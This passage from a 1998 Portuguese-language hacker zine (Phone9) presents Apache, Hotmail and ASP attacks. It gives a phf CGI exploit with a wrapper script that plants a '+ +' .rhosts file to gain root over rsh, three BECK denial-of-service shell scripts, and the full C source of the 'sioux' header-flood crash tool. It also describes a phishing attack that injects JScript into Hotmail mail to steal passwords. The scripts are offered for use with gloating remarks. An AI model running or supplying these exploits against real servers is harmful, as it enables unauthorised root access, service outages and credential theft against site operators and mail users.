/root/.rhosts" | nc -v - 20 shit.com.br 80
% rsh -l root shit.com.br 80
#whoami
root
#
Bom, o que voce fez? Primeiro, criou um arquivo .rhosts no seu
diretorio /tmp/.rhosts, depois o passou via email para dentro do
/root/.rhosts, e em seguida, cria uma conexao confiavel com o host
shit.com.br, depois executa o comando rsh , que permite o login sem
senha via arquivos .rhosts, e se logou como root no sistema sem
problemas!!!
ESCLARECENDO:
As duas primeiras linhas voce executa como um usuario qualquer.... A 3a.
linha, voce executa como nobody ( ou o dono do processo do servidor ), a
segunda linha voce executa como um usuario qualquer, e a duas ultimas voce
ja' e' root no sistema shit.com.br.
Tambem e' bom prestar atencao, que o ataque se origina sobre um exploit phf!
Entao, se o servidor nao possuir phf, use o php, se este falhar, use outro,
mas o meio de ataque deve ser rodar via browser! Outro modo de exploitar
esta falha, e' bem simples:
#!/bin/sh
#Fazendo a vida mais facil para quem e' uma merda ;)
end= #endereco que vai ser atacado!!!
exp= #exploite que sera usado para o ataque.
touch /tmp/.rhosts
echo "+ +" > /tmp/.rhosts
lynx http://$end/cgi-bin/$exp?Qalias=x%0arpc+phone9@phone9.org:/tmp/.rhost+
/root/.rhosts" | nc -v - 20 shit.com.br 80
rsh -l root $end
#Mude o necessario para que tudo fique direito, mude o browser, rsh, por
#rlogin... tanto faz.... Mas nao mude o source!!!
Agora, faz tudo parte da diversao, execute este comandos e voila!!! Free
apache server 4 ever....
O segundo bug:
Ja' e' um bug mais sofisticado, que o outro, que depende muito da
sorte de se encontrar um exploit via cgi como o phf, que hoje em
dia esta em extinsao ( nao no pais dos olhinhos puxados, mas fazer
o que, alguem tem que ser o burro na terra, Shimomura???? ) Este
faz com que o servidro diminui tanto a sua velocidade de response
que fica parecendo um PDP, na internet ( se existisse uma naquela
epoca !heheh ;)) Entao vamos ao bug, quando alguma pessoa executa o
apache, ele procura dentro do seu diretorio por arquivos do tipo:
[index|homepage].[html|htm|shtml|cgi], entao se ele nao acha nenhum
documento na sua extensao de diretorios inteira com tais
especificacoes, entao ele retorna um erro assim: "File name too long",
e o cliente recebe um "access forbidden", entao o que acontece,
quando o apache encerra a tentativa de execucao dele, dando um dos
erros acima, ele continua tentando achar um destes arquivos repetitiva
mente, entao ele consome um bom tempo da CPU time, com um processo
desnecessario, o que diminui ou quase aniquila a velocidade do apache!
Um patche e' fazer com que qualquer processo no '//.....' possa ter um
buffer maior possivel (7kb). Parte da execucao do bug se da por meio
de um comando bem simples atribuido ao servidor GET e varias /
seguidas de mais / ate' que cheguem ao um tamanho imenso de / o que
ira travar o servidor!! O codigo para o ataque esta abaixo, enjoy!!!
----
#!/bin/bash
echo
echo "BECK -- Apache 1.2.x Denial of Sevices attack"
echo "Author: Michal Zalewski"
echo
if [ "$1" == "" ]; then
echo "USAGE: $0 victim_host [childs]"
echo
echo " victim_host - address of victim running Apache"
echo " childs - no. of simultaneeous connections [30]"
echo
exit 0
fi
CONN_LIMIT=30
if [ "$2" != "" ]; then
CONN_LIMIT=$2
fi
if [ ! -f beck.dat ]; then
echo "ERROR: file 'beck.dat' must be placed in current dir."
echo
exit 0
fi
echo "Attacking $1 (via $CONN_LIMIT connections) -- Ctrl+C to abort."
echo "Their load average soon will climb higher heights."
while [ -f $0 ]; do
telnet $1 80 /dev/null &
if [ "$CONN_LIMIT" -le "`ps|grep -c telnet`" ]; then
echo -n "Connections limit reached - waiting... "
while [ "$CONN_LIMIT" -le "`ps|grep -c "telnet $1"`" ]; do
sleep 1
done
echo "OK"
fi
done
----
E no .zip da zine, vem o arquivo get.dat lembre-se que estes devem estar no
mesmo lugar que script esta /home/sucker/cputimeapache, /home/sucker/get.dat
O terceiro bug:
Para que este outro ataque DoS , seja feito e' necessario se obter
uma conta no sistema ou entao nada de DoS!!! ( Sorry guys! ;) Bom,
voce ira consumir um bom CPU time do servidor, voce devera ter uma
conta e uma pagina naquele servidor!!! Agora, primeiro voce ira
criar 100 subdiretorios, de nome x!! E todos os inputs para o subdir
x, serao direcionados para o /dev/null! Entao, voce executara o script
abaixo, e este ira executar o comando via telnet para entrar na porta
80 do servidor ( apache ), conectando-se com o limite de conexoes per-
mitidas pelo apache, ele executa o arquivo .dat!!! E voila!! E' CPU
time fudida para todo o lado!! Depois e' simples rode o scripts,
abaixo e pronto, tudo feito....
----[ Primeiro script ]----
#!/bin/sh
echo
echo "BECK-2 preprocessor by lcamtuf"
echo "This program prepares battlefield..."
echo "To undo please use 'cleanup' script."
echo
# Assume that user's homepage is into /home/httpd/html/USER...
TARGET=/home/httpd/html/`whoami`
echo -n "Going directly to your www home... "
cd $TARGET &>/dev/null
if [ "$PWD" != "$TARGET" ]; then
echo "ERROR"
exit 0
fi
echo "OK"
SUBDIR=x
MAXDIRS=100
CREATED=0
echo -n "Creating $MAXDIRS subdirs... "
HOME=$PWD
while [ $MAXDIRS -ge $CREATED ]; do
OLDDIR=$PWD
mkdir $SUBDIR &>/dev/null
cd $SUBDIR &>/dev/null
if [ "$PWD" = "$OLDDIR" ]; then
echo "ERROR"
exit 0
fi
let CREATED=CREATED+1
done
echo "OK"
----[ Primeiro Script ]----
----[ Segundo script ]----
#!/bin/bash
echo
echo "BECK 2 -- Apache Denial of Sevices attack (local)"
echo "Author: Michal Zalewski"
echo
if [ "$2" = "" ]; then
echo "USAGE: $0 victim_host account"
echo
echo " victim_host - address of victim running Apache"
echo " account - www account on victim machine"
echo
echo "NOTE: attack will be effective only when"
echo "account has been successfully altered with"
echo "'make_hell' script."
echo
exit 0
fi
LIMIT=30
if [ ! -f beck2.dat ]; then
echo "ERROR: file 'beck2.dat' should be placed in current dir."
echo
exit 0
fi
echo -n "Creating temporary file... "
rm -f /tmp/beck2.tmp
if [ -f /tmp/beck2.tmp ]; then
echo "FAILED"
exit 0
fi
touch /tmp/beck2.tmp &>/dev/null
if [ ! -f /tmp/beck2.tmp ]; then
echo "FAILED"
exit 0
fi
echo "OK"
echo -n "GET /$2" >/tmp/beck2.tmp
cat beck2.dat >>/tmp/beck2.tmp
echo "Attacking $1 (thru account $2, $LIMIT connections) -- Ctrl+Z to abort"
echo "Their load average will soon climb higher heights."
while [ -f $0 ]; do
telnet $1 80 /dev/null &
CONNECTED=`ps|grep -c "telnet $1"`
if [ "$LIMIT" -le "$CONNECTED" ]; then
echo -n "Connections limit reached - waiting... "
while [ "$LIMIT" -le "$CONNECTED" ]; do
sleep 1
done
echo "OK"
fi
done
----[ Segundo script ]----
----[ Terceiro script ]----
#!/bin/sh
echo
echo "BECK-2 cleanup by lcamtuf"
echo "This program cleans up battlefield..."
echo
# Assume that user's homepage is into /home/httpd/html/USER...
TARGET=/home/httpd/html/`whoami`
echo -n "Going directly to your www home... "
cd $TARGET &>/dev/null
if [ "$PWD" != "$TARGET" ]; then
echo "ERROR"
exit 0
fi
echo "OK"
SUBDIR=x
if [ -d $SUBDIR ]; then
echo "Removing subdirectory $SUBDIR from ${PWD}."
echo
else
echo "Naaah, nothing to do. Directory $SUBDIR not found."
echo
exit 0
fi
HOME=$PWD
echo -n "Going deeper and deeper... "
while [ -d $SUBDIR ]; do
OLDDIR=$PWD
cd $SUBDIR &>/dev/null
if [ "$PWD" = "$OLDDIR" ]; then
echo "ERROR"
exit 0
fi
done
echo "OK"
echo -n "Enough, now removing everything... "
while [ "$PWD" != "$HOME" ]; do
OLDDIR=$PWD
cd .. &>/dev/null
rmdir $SUBDIR &>/dev/null
if [ "$PWD" = "$OLDDIR" ]; then
echo "ERROR"
exit 0
fi
done
echo "OK"
----[ Terceiro script ]----
A ordem de execucao e' esta 1o. , 2o. e 3o. , nao mude-a senao nao
funciona como deveria!!!
O quarto bug:
Este bug, implica sobre a versao mais antiga do apache, 1.1.1
rodando sobre o httpd da mesma versao....
Okay, entao a funcao make_cookie , no arquivo mod_cookies.c, tem um
buffer de 100byte para o new-cookie gravar informacoes sobre o users
que visitam o site. Este buffer grava informacoes como hostname,
entre outros valores.... Ao longo da string apache= um numero!!!
Veja o codigo:
...
void make_cookie(request_rec *r)
{
struct timeval tv;
char new_cookie[100]; /* blurgh */
char *dot;
const char *rname = pstrdup(r->pool, get_remote_host(r->connection,
r->per_dir_config,REMOTE_NAME));
struct timezone tz = { 0 , 0 };
if ((dot = strchr(rname,'.'))) *dot='\0'; /* 1o. bit do hostname*/
gettimeofday(&tv, &tz);
sprintf(new_cookie,"%s%s%d%ld%d; path=/",
COOKIE_NAME, rname,
(int)getpid(),
(long)tv.tv_sec, (int)tv.tv_usec/1000 );
table_set(r->headers_out,"Set-Cookie",new_cookie);
return;
}
...
Perceba que todos os responses com Upper_case ( CAPSLOCK - fixa ),
sao diminuidos ao lower_Case, no get_remote_host(), deixando um
meio de buffer overflowzar o servidor!!!
Para saber se o seu sistema e' vulneravel ou nao... apenas
$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
HTTP/1.0 200 OK
Date: Tue, 07 Jan 1997 18:59:31 GMT
Server: Apache/1.1.1
Content-type: text/html
Set-Cookie: Apache=localhost9185266357164; path=/
Se a versao o servidor for 1.1.1 entao voce e' vulneravel!!
----- O patche da apache, e' tao estupido que nem vou coloca-lo
----- aqui, pois quando eu o instalei na minha maquina, nao
----- segurou o ataque!!!!
QUiNTO bug ( e ultimo da lista?!?!?! )
------ --- - - ------ -- ----------- -
Sumario: Vulnerabilidade encontrada nas verdoes 1.3.1 e menores, que permite
um crash no servidor apache... O problema e' o tratamento dos
headers enviados para eles.
Compromentimento: Se nenhuma tecnica high-tech for usada depois do crash
do browser, somente algumas diversoes para criancas que
nao tem nada melhor para fazer.
Obs: O consumo de memoria sob para 380Mb.
Falha: Abaixo vai o exploit... ele abre diversas conexoes para TCP com o
servidor, enviando os headers iguais.
/*-
* Copyright (c) 1998 Dag-Erling Coïdan Smørgrav
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer
* in this position and unchanged.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software withough specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
/*
* Kudos to Mark Huizer who originally suggested this on freebsd-current
*/
#include
#include
#include
#include
#include
#include
#include
#include
void
usage(void)
{
fprintf(stderr, "usage: sioux [-a address] [-p port] [-n num]\n");
exit(1);
}
int
main(int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
FILE *f;
int o, sd;
/* default parameters */
char *addr = "localhost";
int port = 80;
int num = 1000;
/* get options */
while ((o = getopt(argc, argv, "a:p:n:")) != EOF)
switch (o) {
case 'a':
addr = optarg;
break;
case 'p':
port = atoi(optarg);
break;
case 'n':
num = atoi(optarg);
break;
default:
usage();
}
if (argc != optind)
usage();
/* connect */
if ((he = gethostbyname(addr)) == NULL) {
perror("gethostbyname");
exit(1);
}
bzero(&sin, sizeof(sin));
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family = he->h_addrtype;
sin.sin_port = htons(port);
if ((sd = socket(sin.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket");
exit(1);
}
if (connect(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
perror("connect");
exit(1);
}
if ((f = fdopen(sd, "r+")) == NULL) {
perror("fdopen");
exit(1);
}
/* attack! */
fprintf(stderr, "Going down like a plague of locusts on %s\n", addr);
fprintf(f, "GET / HTTP/1.1\r\n");
while (num-- && !ferror(f))
fprintf(f, "User-Agent: sioux\r\n");
if (ferror(f)) {
perror("fprintf");
exit(1);
}
fclose(f);
exit(0);
}
Medidas de seguranca: O patch foi liberado pelo Ben Lauren (1.3.1):
diff -u -r1.229 http_protocol.c
--- http_protocol.c 1998/08/06 17:30:30 1.229
+++ http_protocol.c 1998/08/07 23:02:56
@@ -714,6 +714,7 @@
int len;
char *value;
char field[MAX_STRING_LEN];
+ int nheaders=0;
@@ -723,6 +724,11 @@
char *copy = ap_palloc(r->pool, len + 1);
memcpy(copy, field, len + 1);
+ if(++nheaders == 100) {
+ r->status = HTTP_BAD_REQUEST;
+ return;
+ }
+
if (!(value = strchr(copy, ':'))) {
r->status = HTTP_BAD_REQUEST;
return;
--
Basicamente o bug esta dentro da linha 'memcpy(copy, field, len + 1);' que
aloca na memoria. Devido a erros na hora de fazer o apache, a memoria nao e'
limpa depois de usada, entao a cada loop a memoria fica cada vez maior.
APACHE Web server bug!!!!
by the blood root - 24/07/1998
reg - (c) blood@puruca.com.br
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 17 - Teste de vulnerabilidade em contas hotmail ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
Hotmail, popular empresa fornecedora de emails gratis na internet,
filiada a microsoft, recentemente apresentou falhas de seguranca
no seu sistema, permitindo que pessoas possam obter passwords de
praticamente todos os usuarios que diariamente se logam no gateway
do hotmail. Tecnicamentre por meio de um email promissor, o hacker
pode colocar comandos JScript, na mensagem com o fim de mudar os
links originais do hotmail na web (hotmail.com???) Assim sera e'
necessario que o usuario se logue novamente, e quando ele se logar
o link e' redirecionado para uma pagina mirror hacker, que ira
guardar as informacoes do login e passwords, digitados.
O comprometimento e' total, implicando em abrir totalmente as
pernas do hotmail, e' possivel se ler qualquer email da vitima,
se logando por meio de um login e password ativo.
O hotmail lancou algumas medidas preventivas:
- Deshabilite a opcao de Java Script do seu browser
- E qualquer erro durante a execucao da pagina do
hotmail, nao acesse mais aquele email, crie outra
conta...
Basicamente o problema e' da hotmail, que nao instala filtros
bons o suficientes para pararem qualquer grao de linguagem
Java Script nas mensagens enviadas assim a execucao de comandos
remotamente por meio de um email durante o gateway do hotmail e'
algo tecnicamente e praticamente possivel e implica na total
invalidez da seguranca do sistema HOTMAIL de emails gratis...
Ao constrario de outros que tentam preservar as suas
contas seguramente, nos agora publicamos o codigo
tao temido do hotmail, e apenas um conselho seguro,
- Coloque uma conta de mail descente... ;)
--[ Codigo bugado ]--
"Where do you wanna crash???" - bill gates
--[ Codigo bugado ]--
Agora e' so mandar este codigo por email para algum usuario
do hotmail, quando este verificar o seu email, babauw...
Voce recebera na conta que mandou o email, o IP, login e e'
claro o password da anta...
bloodroot - blood@deathknights.com
Teste de vulnerabilidade em contas hotmail
reg - (c) 1998, productions.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 18 - Falhas em extensoes HTML .ASP... ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
Sistemas ASP de extensoes HTML para servidores, sao alvos
vulneraveis a ataques banais a procura de visualizar o
codigo de uma pagina .asp de um servidor 'bugado', este
podendo ser alvo de ataques com as informacoes contidas
no codigo das paginas... O sistema Active Server Page,
e' uma forma de se estruturar paginas como banco de dados
e recursos do servidor, sem que seja necessario o conhecer
a linguagem de scripting para este tipo de atividades na Web.
Embora seja futil, e somente pagina com extrema funcionalidade
posssam ser alvos deste ataque, sistemas de compras on-line
baseados em .asp podem e serao invadidos tendo a visualizacao
do codigo fonte das paginas revelado, podendo originar ataques
a certos sistemas de protecao SSLeay, entre outros. Embora futil
um sistema que tenha mesmo que uma inutil, esta pode ser usada
de forma comprometedora...
As vulnerabilidade implica em utilizar diretorios com o
caractere '.' neles ex. www.p9.org/www.www/phucking.asp
assim o diretorio www.www e' totalmente vulneravel assim
como todas as suas paginas. Assim as paginas que possuem
estes diretorios, estao 100% vulneraveis.
Tecnicas de protecao:
Bom, se voce ainda nao descobriu sozinho... E' apenas excluir o
'.' dos diretorios, http://www.p9.org/wwwxwww/phucking.asp, assim
o bug nao pode afetar as estruturas do servidor ASP. Nenhuma
empresa de seguranca, ou de inseguracna (microsoft), se pronunciou
com alguma medida eficais de prevencao ao bugs, portanto fica assim
ate tio bill, vir com outra melhor...
bloodroot - blood@deathknights.com
Falhas em extensoes HTML .ASP...
reg - (c) 1998, productions.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³19 - The Phone9 communications, departaments. ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by Blood Root ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
.ph0ne9.sp0ts
Agradecimentos: cacaio (deathknighter!!!), pessoal da BOS-br, Dr.sm0g
microsoftz.com, Puruca, x1p, Phineas Phreak, Xzr2pt, .pr0c., bi0tek
E a todo o pessoal que colaborou com a edicao zine.
.linx
www.ph0ne9.0rg
www.freshmeat.net
www.microsoftz.com
www.hackers.com.br
www.deathknights.com
www.outzone.net
www.puruca.com.br
.akitivites
Data da 3a. edicao: 01 de novembro'98
Data da 4a. edicao: 01 de janeiro'98
Data da 5a. edicao: 01 de marco'98
.inf0rmati0n
Informacoes: info9@phone9.org
Artigos: articles@phone9.org
editor-chefe: blood@phone9.org
- The Phone9 Communications Systems -
____ _ _ ___ _ __ ___ ____ ____ ___ _ _ _ ___ ___
/ _ \/ /_/ / _ | '_ \ / _ \/ _ \ __ |__ |/ _ \| |/ /| '_ \ / _ \
/ ____/ _ / / | | | | __/\__ //\_\ / /| __/| . | | | |/ / /
\/ \/ \/\___/|_| |_|\___|__/ / \/_/ /_/ \___||_|\_\|_| |_|\___/
|_______/ _
_ _ ___ ______ _______ __ __ _ ___(_)_ _ ___ ____ _ ___ _ ___
| |/ // _ \ / .[P9] / | \ '_ \ | |/ / |__ \_) / _ \ '_ \
| ./ / / |_| \ |_| \ . / | | | | . - \ / / |/ / / | | |
|_|\_\___/__| | /__| | /\___/|_| |_|_|_|\_\__,_//_/|_|\___/|_| |_|
\/ \/ askii by bloodroot|bi0tek
__ __ _ .Phone9. _ __ __
/ /\ __ _ .tekno.k0n _ __ /\ \
\_\/__ _ [dr0ne] _ __\/_/
contact: [.blood@puruca.com.br.]|[.phone9@phone9.org]
The Phone9 kommunications Systems, Inc